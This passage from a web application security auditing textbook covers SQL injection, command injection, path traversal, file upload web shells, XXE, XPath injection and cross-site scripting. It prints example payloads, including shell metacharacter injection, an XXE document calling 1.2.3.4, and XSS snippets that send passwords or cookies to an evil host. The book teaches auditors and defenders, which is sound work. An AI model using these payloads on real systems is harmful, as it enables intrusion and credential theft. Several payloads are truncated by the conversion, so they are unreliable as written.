    + (param2 != NULL ? " AND col2 LIKE '" + param2 + "'" : "") 

    + (param3 != NULL ? " AND col3 LIKE '" + param3 + "'" : ""); 

 

The developer wants to alter the structure of the WHERE clause in this case, depending 

on the content of certain parameters. There are safer ways to prepare this query, but 

the preceding approach is actually quite popular. You often see statements like this in 

code that allows users to search some portion of a database. Here's a more 

appropriate form in a parameterized query: 

SELECT * FROM table WHERE name = ? 

    AND (? <> NULL AND col1 LIKE ?) ... 
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This statement is a safe version of the earlier query. However, some problems can't 

be solved with parameterized queries. The sort order and sort columns are also 

structural elements because they affect how the query planner compiles a statement. 

Here's an example: 

SELECT * FROM table ORDER by col1, col2 ASC 

 

You can't substitute col1, col2, or ASC with a parameter (?) in this statement, so 

changing the sort columns and order requires dynamic SQL or some interesting SQL 

acrobatics. 

Stored Procedures 

A stored procedure is a lot like a prepared statement; both were intended to 

improve performance by precompiling statements and issuing them as a separate 

operation. They also add several features that prepared statements lack. Stored 

procedures are compiled and stored in the database with a persistent name, so they 

exist indefinitely. They can also introduce procedural language constructs into the 

database query language, such as loops and branches. 

Stored procedures have only three potential security issues. First, is the query called 

securely? Check whether the parameters are bound as they should be or whether the 

procedure is called like this: 

"SELECT xp_myquery('" + userData + "')" 

 

This example is vulnerable to standard SQL injection if the userData variable is 

attacker malleable. This mistake might seem unlikely, but it does happen often 

enough. The usual response from developers is that they thought the stored 

procedure handled that. So keep your eyes open for any stored procedures that aren't 

called through a bound parameter interface. 

Second, are dynamic queries used inside the stored procedure? This usually happens 

because the developer wants to perform a query that can't be precompiled, as with 

parameterized queries. So you need to watch for any stored procedures that call EXEC, 

EXECUTE, or OPEN on a string argument. When you trace them back, generally you find 

dynamically generated SQL. Fortunately, you can identify these locations quickly with 

a simple regex search. 

The third issue isn't database specific, but a problem could happen when stored 

procedures are implemented in other languages. Many databases allow extension 

modules, and these modules might have vulnerabilities native to the language they're 

implemented in. For example, an extension written in C++ could expose memory 
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management vulnerabilities accessible via user-supplied SQL parameters. In these 

cases, you need to audit the extension modules to be certain they contain no 

vulnerabilities. 

Second Order Injection 

Second order injection refers to SQL injection resulting from data in the database 

itself; it occurs when database fields are used to generate a dynamic query. The root 

of this problem is that a complex application might make determining the exact 

source of data difficult. For instance, say you have a database that backs a 

Web-based bulletin board. The following parameterized query would allow users to 

update the list of bulletin board memberships: 

UPDATE users SET boardlist = ? WHERE user = ? 

 

Each board has a numeric ID, so the boardlist column contains strings such as the 

following: 1, 15, 8, 23. On its own, this parameterized query is structured correctly 

and safe from injection. However, there's no point in putting data in a database if you 

don't use it. Here's a query you might use to access this data: 

"SELECT board_id, board_name FROM boards, users 

    WHERE user = ? AND board_id IN (" + boardList + ")" 

 

The boardList variable is a string retrieved from an earlier database query. The 

problem is that the string was originally supplied from user input and could contain 

malicious characters. An attacker can exploit this by first updating the board_id field 

and then triggering the unsafe query on this field. 

These types of injection vulnerabilities are relatively common, particularly in stored 

procedures. However, they are often hard to detect because the vulnerability results 

from two or more seemingly unrelated code paths. This also makes automated 

analysis and fuzzing techniques almost useless. The best approach is to identify all 

dynamic queries. Then treat all database input fields as hostile until you can prove 

otherwise. In some cases, you might not be able to determine that database input is 

safe. The database tier might receive input from sources other than the application 

you're reviewing, so you might have to consider it a vulnerability of unknown 

potential risk. 

Black Box Testing for SQL Injection 

Testing for SQL injection vulnerabilities from a black-box perspective isn't 

difficult. The first thing you need is a proxy specifically designed to facilitate 
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Web security testing. The Java-based application Paros works well and is 

available free from www.parosproxy.org. ImmunitySec offers SPIKE proxy, 

written by the formidable Dave Aitel. It's also available free at 

www.immunitysec.com. 

After downloading one of these tools, you need to set it up so that you can 

intercept requests coming from your Web browser. Ultimately, you want to 

be able to intercept an outgoing request before it gets to the server, modify 

the request, and send it on its way. This procedure might require a little 

experimentation or documentation reading, but it should be straightforward 

to figure out. 

After you've gotten the hang of intercepting requests, it's time to start 

testing your target Web site. You want to walk through the Web site's 

functionality in a systematic way, so you don't get lost or forget which 

ground you've covered. To accomplish this you'll need to come up with a 

simple way to organize your approach to the site. 

Basically, you use the site like a normal user, except you intercept legitimate 

traffic and change it slightly to insert SQL metacharacters. So you want to 

intercept every GET request with a query string, every POST request, and 

every cookie, and in each variable, you try to insert special characters. A safe 

bet is to use the single quote ('), as it usually does the trick. Test only one 

variable at a time; you don't want to accidentally put in two single quotes 

that cancel each other out and make a legitimate SQL query. 

Be sure to focus on variables that aren't user controlled, and definitely pick 

variables that look as though they contain only numeric fields, such as IDs or 

dates. Web application developers who are otherwise diligent about 

preventing SQL tampering often overlook these variables. 

Primarily, you're looking for any kind of error condition. It could be anything 

from a database error being displayed onscreen to a 500 error from the Web 

server to a subtle change in the page's contents. 

When you get an error that you can re-create, you can do a few things to 

determine whether it's caused by a SQL injection vulnerability. One 

technique is to double the single quote (that is, ''), which usually escapes it 

to the back-end database. If a single quote causes an error but two single 

quotes don't, you're probably on to something. 

Another method that's worth trying is short-circuiting SELECT queries. If 

you're injecting data into a query in a string parameter, try submitting a 

variable like this: 

http://www.parosproxy.org/
http://www.immunitysec.com/
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' or 1= 

 

If you're lucky, it will create a SQL query like the following on the back end: 

SELECT * from users where password='' or 1= 

 

The or 1= phrase simply selects every row in the table. The ; denotes the end 

of the SQL query, and the -- characters indicate that the back-end database 

should ignore the rest of the line. You can also try %00 to end a query. 

After you find an error, your first goal is to determine whether it appears to 

be a SQL injection problem by trying various requests. When you determine 

that it's SQL related, you can start to explore the potential ramifications of 

the exposure, if you're so inclined. There are several good papers on 

advanced SQL injection and blind SQL injection that you should read for 

ideas on how to proceed. Be sure to visit these sites for more information: 

www.nextgenss.com, www.spidynamics.com, and www.cgisecurity.com. 

 

 

OS and File System Interaction 

During a Web application review, pay special attention to every interaction with the 

operating system and file system, especially when user-supplied input is involved. 

These locations are where developers run a high risk of creating security 

vulnerabilities in otherwise safe high-level languages. When reviewing Web 

applications, be sure to examine the types of interactions covered in the following 

sections. Most of these issues are related to vulnerable metacharacter handling, so 

refer to Chapter 8(? [????.]) for more information. 

Execution 

CGI scripts often rely on external programs to perform part of the application 

processing. Developers often make a security-relevant mistake in calling a separate 

program, especially when user input is involved in the program's arguments. Here's a 

simple example of a vulnerable Perl program: 

#!/usr/bin/perl 

 

print "Content-type: text/html\n\n"; 

 

$dir = $ENV{'QUERY_STRING'}; 

system("ls -laF $dir"); 

 

http://www.nextgenss.com/
http://www.spidynamics.com/
http://www.cgisecurity.com/
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This program takes a directory name as the query string and attempts to print a 

directory listing to users. Attackers can provide any number of shell metacharacters 

for the directory and issue their own commands. For example, supplying /tmp;echo hi 

for $dir would cause the preceding Perl program to do the following: 

system("ls -laF /tmp ; echo hi"); 

 

If the external program is being run in a fashion that isn't malleable, the developer 

might still be in trouble. You should also examine the program that's running to make 

sure it doesn't have any special processing functionality. For example, the UNIX mail 

program looks for the escape sequence ~!command. If a Web application uses that 

program to send mail, it might be exploitable if the user supplies input so that the mail 

contains that escape sequence. 

Chapter 18(? [????.]) goes into more depth on this topic, but remember that several 

powerful high-level languages provide multiple ways for developers to spawn a 

subprocess. Often it's possible to make applications run arbitrary commands in places 

where the developer intended only to perform an operation such as opening a file. 

Path Traversal 

If the application uses user-supplied input in constructing a pathname, this 

constructed path could be vulnerable to a path traversal attack, also known as a path 

canonicalization attack. For example, consider the following VBScript ASP excerpt: 

filename = "c:\temp\" & Request.Form("tempfile") 

Set objTextStream = objFSO.OpenTextFile(filename,1) 

Response.Write "Contents of the file:<br>" & objTextStream.ReadAll 

 

If users supply a tempfile parameter with path traversal directory components, they 

can trick the Web application into displaying files in other directories. For example, a 

tempfile parameter of ..\boot.ini causes the application to open the 

c:\temp\..\boot.ini file and display it. 

NUL Byte 

Many higher-level languages have their own underlying implementation of a string 

data type, and more often than not, these strings can contain a character with the 

value of 0, or the NUL character. When these strings are passed on to the OS, the NUL 

byte is interpreted as terminating the string. This can be useful to attackers 

attempting to manipulate a Web application that's interacting with the OS or file 

system. 

Programmatic SSI 
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Pay attention to locations where programmatic server-side includes are performed. 

Typically, they're used in a page that needs to include the contents of another script 

but determines which script to include at runtime. If you can manipulate the included 

script's filename, you can potentially read in files that you wouldn't normally have 

access to. In general, you can't read outside the Web root, but if you can read code 

you shouldn't have access to or read in files in WEB-INF, you can discover some useful 

information. 

Here's an example of a vulnerable JSP: 

<jsp:include page='<%="subpages/" + 

 request.getParameter("_target") + ".jsp"%>' 

 

An attacker could submit a _target parameter like this: 

../../../WEB-XML/web.xml%00 

 

This parameter causes the JSP interpreter to include the web.xml configuration file. 

File Uploading 

File uploading vulnerabilities often catch developers by surprise. Many Web 

applications allow users to upload a file to the Web server, and these files are often 

stored in a directory in the Web tree. If you can manipulate the uploaded filename so 

that it has an extension mapped to a scripting language handler, you might be able to 

run arbitrary code on the Web server. 

Say you're black box testing a financial application that allows users to upload a 

transaction file to the Web server, which then parses and transfers the file to an 

application server. Users couldn't control the filename, but they might be able to 

control the file extension. With a little bit of detective work, you could determine that 

the temporary directory holding the file is located in the Web tree. After the 

groundwork has been laid, the attack is straightforward: A quick ASP script takes a 

command from the query string and runs it through a command shell. The script is 

uploaded to the Web system as a transaction file with an extension of .asp. The file is 

saved to a temporary directory with a random filename. Then the following request is 

made directly to the temporary file: 

https://www.test.com/uploads/apptemp/JASD1232.asp?cmd= 

 

The temporary file is run through the ASP handler, and the specified command runs 

on the Web server. Also, think about server-side includes in the context of file 
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uploading. If users can upload or edit an .shtml file, they can insert SSI tags that 

could cause the Web server to read files and run commands of their choosing. 

XML Injection 

XML injection refers to inserting XML metacharacters into XML data with the intent 

of manipulating the meaning of an XML document or attempting to exploit the XML 

parser. This problem often happens in multitier Web applications in which one tier 

communicates with another by using XML documents (such as Web Services). If the 

document is constructed so that it doesn't use user-supplied input securely, attackers 

might be able to perform multiple attacks. This kind of issue can also arise when an 

XML document is uploaded from the local machine to the Web application as part of 

normal processing. 

In general, when an application constructs an XML document, it can do it by using a 

programmatic API, such as the W3C Document Object Model (DOM), or simply by 

using normal text-manipulation functions. As a reviewer, you need to test any APIs 

the application developer uses to make sure user-supplied input is escaped correctly. 

Programmatic APIs are usually safe. However, if you see text-manipulation functions 

used to construct XML documents, you should pay close attention. For example, take 

a look at the following Visual Basic code: 

strAuthRequest = _ 

  "<AuthRequest>" & _ 

  "<Login>" & Login & "</Login>" & _ 

  "<Password>" & Password & "</Password>" & _ 

  "</AuthRequest>" 

 

This code has an authentication request formed by using text concatenation. If users 

have control of the Login and Password variables, they can place XML metacharacters 

such as < and > in the data and potentially alter the request's meaning. 

Attackers have a few options for leveraging an XML injection vulnerability. The most 

straightforward option is to modify the request so that it performs something that 

security mechanisms would otherwise prevent. Another approach is attacking the 

XML parser itself. An XML parser written in C has the potential for buffer overflows or 

other types of problems. XML parsers have also been reported to be vulnerable to 

multiple denial-of-service conditions, which could be triggered through an injection 

vector. 

Another general form of attack is the XML external entities (XXE) attack. If 

attackers can submit a document to the target's XML parser, they can try to make the 

XML parser attempt to retrieve a remote XML document. The easiest way to initiate 
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this attack is to provide an XML document with a DOCTYPE tag that references the URL 

of interest. For example, attackers could submit the following XML document: 

   <?xml version="1.0"?> 

   <!DOCTYPE foo SYSTEM "http://1.2.3.4:1234/";> 

   <foo/> 

 

If the XML parser is configured to perform schema validation, it attempts to connect 

to 1.2.3.4 on port 1234 and issue a GET request. This request could cause the XML 

parser to attempt to connect to various ports from the target server's perspective. 

Attackers might be able to use these connection attempts for port scanning, 

depending on the parser's timeout behavior. They could also attempt to read in files 

from the file system or network, if they can devise a mechanism for viewing the 

results of the parsing error. 

To understand why this can be an issue, consider an XML parser attempting to resolve 

a file:// URL via Windows networking. This connection attempt causes the server to 

try to authenticate and, therefore, expose itself to an SMB proxy attack from the 

attacker's machine. Another potential exploitation vector is trying to make outgoing 

connections that could create holes in stateful firewalls. For example, attackers could 

instruct the XML parser to attempt to connect to port 21 on their machine. If the 

firewall allows the outgoing FTP connection and attackers can get the XML parser to 

issue the PORT command, the stateful firewall might interpret the command as 

signifying a legitimate FTP data connection and open a corresponding connection 

back through the firewall. 

XPath Injection 

XML Path (XPath) Language is a query language that applications can use to 

programmatically address parts of XML documents. It's often used to extract 

information from an XML document. If the XPath query is dynamically constructed 

based on user input, extracted information could be taken from unintended parts of 

the document. The most common cause of XPath injection in Web applications is a 

large XML configuration file containing instructions for page transitions or page 

flowsoften used by the Controller component of an MVC application. The Web 

application, after completing a task, looks up the next page to be displayed in this 

configuration file, often using user-supplied information as part of the query. The Web 

application might use a query like this: 

$XPathquery = "/app1/chicago/".$language."/nextaction"; 

 

If users can supply a component of the query, they can use ../ characters and XPath 

query specifications to form something akin to a directory traversal attack. For 
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instance, the following value for $language backs up two components in the document, 

and then chooses the first child component, that child's second component, and that 

child's first child component: 

= 

 

If you discover an XPath injection vulnerability during a review, you can use these 

position components to iterate through each possible result in the document. For 

example, a vulnerable query component ending with the NUL byte ('\0') could allow 

an attacker to fully explore the XML document without worrying about the information 

being appended to the XPath query. 

Cross-Site Scripting 

Cross-site scripting (XSS) has acquired a somewhat negative image over the years 

because of enthusiastic researchers flooding mailing lists with arguably low-risk 

attacks, but it's an interesting type of exposure. The root of the problem is that 

Web-based applications, Web servers, and middleware often allow users to submit 

HTML that's subsequently replayed by the Web server. This can allow attackers to 

indirectly launch an attack against another client of the Web site. 

Note 

Cross-site scripting is abbreviated as XSS because the obvious acronym, CSS, is 

already used for cascading style sheets. 

 

For example, say you have an ASP page like this: 

<html> 

<body> 

Hi there <%= Request.QueryString("name") %>!<p> 

</body> 

</html> 

 

If you supply a name parameter in the query string, this page echoes it back to you. 

Say an attacker enters the following query in a Web browser: 

http://localhost/test.asp?name=<img%20src%3d"javascript: alert('hi');"> 

 

When the page is displayed, it has an alert message box saying "hi," as shown in 

Figure 17-6. 
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Figure 17-6. Cross-site scripting message box 

 

 

How could attackers use this message box to perform an attack? They could take 

many approaches, but look at a simple example for now. Say an attacker sent this 

query: 

[View full width](? [????.]) 

http://localhost/test.asp?name=jim!<form%20action="1.2.3.4"> 

<p>Enter%20Secret%20Password: 

<br><input%20name="password"><br><input%20type="submit"></form> 

 

The attacker would get a response from the Web server that looks something like 

Figure 17-7. 

Figure 17-7. Cross-site scripting response 
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The attacker created a form that looks like it belongs to the official site, but it actually 

tells the browser to send the information to the evil Web server at 1.2.3.4. You might 

be wondering why this attack is important, as anyone submitting this link is 

effectively attacking himself. This kind of attack can be initiated in a few ways, but the 

classic example is a link in an HTML-enabled e-mail. If attackers could hide the 

contents of the URI enough that it appears legitimate to end users, recipients could 

easily click the URI and end up at the attackers' official-looking page. 

Changing page contents is a viable attack vector, but it's actually one of the less 

severe routes. This attack becomes more serious when you consider the injection of 

client-side browser scripts, such as JavaScript, client-side ActiveX objects, or Java 

applets. In general, these client-side technologies are limited in what they can do, as 

they're intended to be sandboxed from the client's machine. If a rogue Web server 

owner could easily instruct the client's browser to move files around or run programs, 

the Internet would be in a world of hurtand it occasionally is when browser bugs have 

this effect. So these scripting languages aren't generally useful for attacking an OS, 

but they do give attackers access to the contents of the Web page the scripts are part 

of. 

For example, a user is tricked into supplying HTML that's then injected into a Web 

page displayed by www.bank.com. This means the injected HTML can pull data from 

the www.bank.com Web page, and with a trick or two, attackers can get the Web 

client to send this data to the evil Web server. The following example shows the 

quintessential form of the attack, cookie-stealing: 

[View full width](? [????.]) 

<img 

src="steal.cgi?'+document.cookie);</script>"> 

 

Any cookies sent to www.bank.com are also sent to the www.evil.com Web server by 

the injected script code. This would almost certainly include a session key or other 

information that an attacker might be interested in. 

Note 

The HTTP TRACE method can cause a variation of an XSS attack known as a cross-site 

tracing (XST) attack. It takes advantage of a Web server that supports the trACE 

method to simply parrot back a malicious entity body in the context of the targeted 

site. This attack is prevented operationally by simply disabling the TRACE method on 

the Web server. 

 

http://www.bank.com/
http://www.bank.com/
http://www.bank.com/
http://www.evil.com/
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Cross-site scripting vulnerabilities can be divided into two categories. The first, often 

called reflected, reflexive, or first order cross-site scripting, is the most widely 

understood variety. The attacker's client request actually contains the malicious 

HTML, and the server parrots it back. The previous example is of this variety. The 

second type is known as stored (second order) cross-site scripting. It occurs when a 

Web site stores input from a user usually in a database, file, memory, and so on. The 

actual attack happens later when that input is retrieved from storage and presented 

to the client. Stored cross-site scripting can be even more dangerous than the 

reflected kind, because it does not require an attacker to trick a user into clicking 

through a link. The attack simply runs when victims view pages on a vulnerable site. 

One particularly humorous example of a stored cross-site scripting vulnerability is 

provided by a worm that propagated across the popular social networking site 

myspace.com in February of 2005. An individual known as Samy exploited a stored 

cross-site scripting vulnerability to add himself as a friend to any member viewing his 

profile. (His explanation of the exploit is available at 

http://namb.la/popular/tech.html.) The exploit script propagates by embedding itself 

in every new friend's profile, ensuring an exponential growth in the affected users. 

Within a few hours of release, Samy was friends with most of the myspace.com 

community, whether they liked him or not. No damage was done, and to this day no 

legal action has been taken for the prank, but this incident certainly demonstrates the 

dangers of stored cross-site scripting vulnerabilities. 

Threading Issues 

Web technologies can use several different threading models. If any global data or 

variables exist across threads, security vulnerabilities can result if they aren't used in 

a thread-safe fashion. This type of vulnerability tends to surface most often in Java 

servlet code with Java class variables. Some specific examples are discussed in 

Chapter 18(? [????.]). 

C/C++ Problems 

Lower-level security issues, such as buffer overflows and format string vulnerabilities, 

aren't likely to occur in the high-level languages commonly used for Web applications. 

However, it's worth testing for them because C and C++ components tend to work 

their way into Web applications fairly regularly. You often see this lower-level code 

used in the following situations: 

 Web applications that use NSAPI or ISAPI for performance reasons 

 Web applications with ISAPI or NSAPI filters for front-end protection 

 Web interfaces that are primarily wrappers to commercial applications 

 Web interfaces that make use of external COM objects 

 Web interfaces to older business objects, business applications, and legacy 

databases that require C/C++ components as middleware 

http://namb.la/popular/tech.html
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Surprisingly, buffer overflows can occasionally occur in an ASP or a Java Web site. 

They're usually the result of C/C++ code used in a nonobvious manner in the 

back-end processing. If the system contains multiple tiers or interfaces with 

technology you don't have full specifications on, you should consider testing oriented 

toward C/C++ issues. 

 

8.4.8 Harsh Realities of the Web 

Web applications generally aren't in an advantageous security position, and securing 

these systems can be an uphill battle. This statement might seem unduly harsh, but 

as Web security audits consistently show, things just aren't pretty on the Web. 

The bottom line is that the security of the whole system determines whether a Web 

application can be compromised. In other words, the security of the Web application 

depends not only on the Web application code, but also on the security and 

configuration of the Web server, the servlet engine, application servers, Web 

application frameworks, other third-party components and middleware, the database 

security, the server's OS, and the firewall configuration. A source code review of a 

Web application in isolation, although certainly of value, examines only a portion of 

the attack surface. 

This section attempts to draw on historical patterns and personal experience to come 

up with realistic expectations of the security environment the current average 

enterprise Web infrastructure provides. These maxims might seem unduly harsh or 

pessimistic, but they represent the rules of the game as it exists today. 

You can't trust the Web server: The Web platforms are complex, rapidly changing 

products that generally have had poor security track records. To be fair, Apache and 

OpenSSL have held up reasonably well, with only a few remotely exploitable bugs in 

the past couple of years, and IIS 6.0 looks promising in its default deny configuration. 

However, this track record isn't that encouraging, and nearly every other Web server 

has a fairly poor security history. Unfortunately, it doesn't matter how secure your 

Web application code is if an attacker can easily compromise your Web server. 

Reality: Chances are good that the Web server platform hosting the application you're 

reviewing has its own vulnerabilities. This isn't unexpected, as most complex 

software probably has dormant security bugs. It's important, however, to be aware of 

this potential for vulnerabilities and account for it in your planning and risk analysis. 

In addition, keeping up to date on vendor patches is critical. 

Note 

31051536.html
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As a reviewer, you should research the security of your Web software and make sure 

you aren't exposed to any known issues. One helpful resource is the Security Focus 

vulnerability database (www.securityfocus.com), which often has enough 

information for you to test the issue yourself. Going to the Credit page of the 

vulnerability entry and looking up the original post that described the problem is 

useful, as researchers' posts are always more technical than vendor advisories. 

If you have the time and motivation, you can try to find vulnerabilities in the software 

on your own. This endeavor isn't as fruitless as it might seem, as there are probably 

plenty of surprising vulnerabilities in Web framework code. 

Also, if you need to find the versions of software running on a Web server, try using 

netcat or TELNET to connect to port 80 and issue a simple HEAD request, like this: 

HEAD / HTTP/1.0 

 

Usually, you get a banner from the Web server that tells you the version of Web 

server software you're running, and often you get the versions of other components. 

 

Attackers can get your server-side source code: Source-code disclosure 

vulnerabilities in Web servers and Web server connectors have been common 

through the years. One of the authors, for example, found several source-code 

disclosure vulnerabilities more than five years ago in Java Web Server, based on 

tricks such as running files through different servlets and appending characters to the 

end of filenames, such as %00 and %2e. What's scary is that these types of tricks still 

work today against commercial enterprise products. 

If the Web server doesn't have a source-code disclosure vulnerability, there's a good 

chance of one resulting from the interaction of different layers of technology in its 

setup. There's also a possibility that JSP forwarding, XML injection, or some other 

mechanism in the Web application can be exploited to retrieve fragments of 

server-side source code. 

Reality: The application should be designed around the premise that attackers will 

eventually be able to view server-side source code. Source code shouldn't contain 

sensitive information, and the site should be secure enough that exposure of 

technical functionality shouldn't matter. If you want to explore the possibility of 

retrieving server-side source code, check the Security Focus vulnerability database 

(www.securityfocus.com) mentioned in the auditing tip. 

Attackers can find a way to discover configurations or download 

configuration files: Application configuration files usually consist of flat text files or 

http://www.securityfocus.com/
http://www.securityfocus.com/
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XML documents in directories just outside the Web tree or in directories within the 

Web tree that have some form of protection. There have consistently been 

vulnerabilities that allow attackers to retrieve these files or use various techniques to 

explore the Web server's configuration. These vulnerabilities mean debug 

functionality, prototype code, development testing interfaces, support interfaces, and 

administrative interfaces that are present but hidden by a layer of obscurity are likely 

to be discovered. Furthermore, sensitive information in configuration files is probably 

at risk of exposure. 

Reality: There shouldn't be any script files, servlet mappings, or handlers in the 

production environment that you don't want anonymous Internet attackers exploring. 

As a reviewer, you definitely want to focus on anything that looks like unnecessary 

content, as it usually isn't as well vetted as the mainstream code. 

Attackers can find all the files in the Web tree: Many vulnerabilities have allowed 

attackers to retrieve directory indexes or enumerate files and directories in the Web 

tree. They can range from vulnerabilities in Web servers to configuration issues to 

application-specific exposures. Attackers could also perform a brute-force or 

dictionary attack looking for content, or look for specific files, such as tar files, Oracle 

logs, versioning logs, and other types of common files left behind by developers. 

Reality: There should be nothing in the Web tree except documents you intend the 

Web server to serve. You can expect attackers to eventually find any files in the Web 

tree. That means include files, programming notes, debugging code, and any other 

development artifacts should be removed or stored outside the web tree. 

Reverse-engineering Java classes is easy: Java class files are usually stored in 

archives or directories just outside the Web tree. If attackers leverage a vulnerability 

that allows them to download these class files, they effectively have the Java source 

code to the application. Java class files can be reverse-engineered to a state that's 

effectively equivalent to the source form. The reversed source files don't contain 

comments, and some local variable names are lost, but otherwise, they are quite 

readable. 

Reality: Keep this issue in mind when you're evaluating the significance of a finding 

that seems as though it would be difficult to discover externally. As far as a solution, 

you can attempt to obfuscate class files so that they're difficult to reverse-engineer. 

Ideally, however, attackers who have full application source code shouldn't be able to 

exploit the system. 

Note 

If you'd like to pull apart some Java class files, you should use a Java decompiler GUI 

based on Jad, the fast Java decompiler. You can find the Jad software and a list of 

GUIs available for Jad at www.kpdus.com/jad.html. 

http://www.kpdus.com/jad.html
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Web applications can be quite difficult to review: Many Web applications are 

composed largely of third-party code. Applications that are built around frameworks 

or make heavy use of prepackaged technology can be difficult to analyze. A security 

reviewer needs to be able to trace the flow of data from end to end in an application, 

and this process is quite difficult when large portions of the functionality aren't 

available without reverse-engineering. 

Furthermore, many Web applications are abstracted to the point that they become 

difficult to conceptualize. The abstraction provided by Web frameworks can lead to 

increased division of labor and more productive programmers, but they also spread 

the system's functionality over several different layers. A highly compartmentalized 

object-oriented system has appealing characteristics, but unless it's done extremely 

well, it tends to make security review more cumbersome. As a reviewer, you're 

primarily interested in end-to-end data flow and the enforcement of security controls. 

Understanding the complete data flow is very difficult when the functionality needed 

to handle one Web request is distributed over more than ten classes and XML 

configuration files, which is not uncommon. 

Reality: Web applications might have weaknesses that even focused source-code 

auditing has a hard time uncovering. 

8.4.9 Auditing Strategy 

Auditing a Web application can prove a formidable challenge. Naturally, it's helpful if 

you can explore the framework and technology that form the foundation of an 

application. If you're charged with auditing a specific set of Web applications, and you 

have enough time, this endeavor is certainly useful. However, if you have to review 

applications on a consulting basis or review applications from many development 

teams or across several business units in your organization, you might find it 

challenging to stay on top of all the different technologies being used and stay on top 

of your security expertise at the same time. The following sections offer a few Web 

application auditing strategies that extend the process presented in Chapter 4(? 

[????.]), "Application Review Process." These strategies should help you when 

auditing an unfamiliar and complex Web application. 

Focus on the Elements 

No matter how many business objects, XML parsers, or levels of indirection are 

involved in a system, Web applications perform some common, straightforward 

actions. Focusing on them can help you figure out how things work and where 

security controls are located (or should be located). Try to isolate the following 

activities: 
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 Interaction with the Web server Try to determine where the Web application 

interacts with the query string and posted parameters. If you can trace the 

data from the client interaction with the Web server forward, you can often 

figure out how the system is organized. You want to look for each parameter 

users can tamper with, and do your best to trace that user-supplied data all 

the way through the Web application processing, if possible. 

 Interaction with the session Sessions play an important role in modern Web 

applications, so examine each session variable and try to locate all the places 

in the application where the variable is accessed or modified. This information 

can often lead to insights on how to attack an application. 

 Interaction with the host OS or file system This interaction is one of the 

weakest points of Web applications, short of database interaction. Every time 

the system opens a file or runs a program, you should carefully study how the 

filename, program name, or program arguments are constructed. If you can 

isolate these behaviors, you can usually find functionality to exploit. 

 Interaction with a database SQL injection is the main vulnerability in Web 

applications, and it should be the main area of inquiry for your Web application 

audit. If you can figure out where the application interacts with the database, 

you can often isolate every end-activity of interest. Be sure to inspect 

database interaction carefully for SQL-injection possibilities. 

 HTML display Every Web application has to render HTML to users in response 

to requests. Sometimes this mechanism can be quite obfuscated, but it can be 

a useful component to try to isolate. Check this code for cross-site scripting 

vulnerabilities at some point during the audit. 

Black Boxing 

Black box testing can be a critical tool if you're trying to make the most of a limited 

time frame. It can also be useful for testing code that's unapproachable or testing 

application components you don't have code for. Be sure to read the sidebar in this 

chapter on testing for SQL injection vulnerabilities. If you can cause a SQL injection 

vulnerability and then trace it back to its cause in the source code, you can often find 

a mistake developers repeat in other places in their Web applications. 

Attack from Multiple Angles 

It can help to change up your approach occasionally, especially if you feel as though 

you aren't making progress in wrapping your head around an obtuse Web system. 

One good approach is end-to-end analysis of the data. Trace a user's request from the 

Web server, back to the data tier, and back to the Web server. This approach can help 

you focus on the data flow that's critical for the application's security. 

You can also try to put yourself in an object-oriented frame of mind. Look at the 

system from a higher-level perspective, and study each component in isolation. 
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Document what each component does, and brainstorm potential problems that could 

happen when it's coupled with other components. 

Sometimes you can benefit from stepping back and reading about the infrastructure 

code the Web site uses. Learn more about the technology or even, time permitting, 

attempt to program simple Web functionality using the same technology and see 

what kind of issues you spot. 

If you simply need a break from the code, you can spend time constructing an 

automated attack against the login mechanism or session tokens. If you find a 

security vulnerability, you can write an automated script to exploit it, and then see 

how far you can leverage it. Spend some time performing a straight black box test of 

the application. 

Make No Assumptions 

Use your ignorance as an advantagecreativity is key. Modern enterprise Web 

applications are often entrenched in a particular design model or technology that can 

abstract away a lot of the details of how processing occurs. As an outside auditor, you 

bring a breath of fresh air to the table. Your goal is to understand how the system 

actually works, not how it's supposed to work. Sit down and give it your best shot, but 

try not to make any assumptions. Ideally, you'd like to be able to test various theories 

about the Web technology as you go. It's not uncommon for a senior developer to 

make a mistake such as a subtle misunderstanding of threading models in a Web 

technology. It might take someone with a fresh perspective to identify potential 

issues of this nature. 

Testing and Experimentation Are Critical 

Much of the system is probably written by a third party, considering the role 

application frameworks play in modern Web applications. Because you don't have 

source code to these components, you have to rely on your intuition and a healthy 

dose of testing against a live system. 

Be sure to test the middleware, the Web server, and the configuration. Try to bypass 

built-in authentication mechanisms by appending strange characters to the URL, such 

as %00, %2f, and %5c. Research vulnerabilities that have plagued other similar Web 

technologies, and see whether they can be applied in some fashion. Vet the 

configuration carefully, and make sure you can't get to any functionality that should 

be protected. Research vulnerability databases, such as the Security Focus Web site 

mentioned previously, for issues that affect the software or have affected the 

software in the past. 

Get Your Hands Dirty 
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Are you following something along when it suddenly disappears into a complex chunk 

of framework code you don't have source code to? If you have the time and the 

location seems interesting, reverse-engineer it! Java code reverses quite nicely from 

bytecode, and x86 or SPARC assembly code isn't that difficult if you have good tools 

such as IDA Pro, covered in Chapter 4(? [????.]). 

Enumerate All the Functionality 

One way to make sure you give an application proper coverage is to try to enumerate 

all the functionality users can access, and then make sure you have examined that 

functionality closely. For example, list every URL that can be called, every servlet and 

servlet action, all directories in the Web tree, all include files, all configuration files, all 

open ports, and all third-party software components. 

Have a Goal and Go for It 

Sometimes brainstorming a particular goal and then attempting to find a way to 

accomplish that goal is a useful exercise. For example, you might say "I want to place 

a fraudulent order" or "I want to view someone else's account information." From 

there, you can examine all code that could be relevant to your attack, and try to 

brainstorm ways you could achieve this goal. 

 

8.4.10 Summary 

This chapter has introduced common technologies and approaches used in Web 

applications. You have learned about a range of vulnerabilities common to Web 

applications and their supporting components. Finally, you have seen some strategies 

for identifying and diagnosing these issues in real-world applications. In Chapter 18(? 

[????.]), you expand on this foundation to learn the specifics of Web technologies. 

Together with this chapter, it should give you all the tools you need to hit the ground 

running when faced with a Web application security assessment. 

8.5 Chapter 18.  Web Technologies 

"Your training starts now. When I'm through with you, you'll be a member of the elite 

agency that's been thanklessly defending this country since the second American 

Revolutionthe invisible one." 

Hunter, The Venture Bros. 

 

8.5.1 Introduction 

31051536.html
31051536.html
31051536.html
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The Web has undergone major changes in the post dot-com era. Static content and 

simple page-structured front ends are being replaced with Web-based pipelines and 

rich Web applications. These new technologies are often collectively referred to as 

"Web 2.0." At its most basic level, the Web 2.0 approach doesn't add anything new to 

Web application security. However, it incorporates Web technologies at such a 

fundamental level that it's often more prone to standard Web vulnerabilities. 

This chapter explores the technologies and frameworks that make up the current Web. 

It begins with a discussion of the emerging Web 2.0 technologies and presents much 

of the high-level concepts you'll require in discussing Web applications. The focus is 

then changed to the specific implementation concerns associated with the six most 

popular Web application frameworks. By understanding both the technology trends 

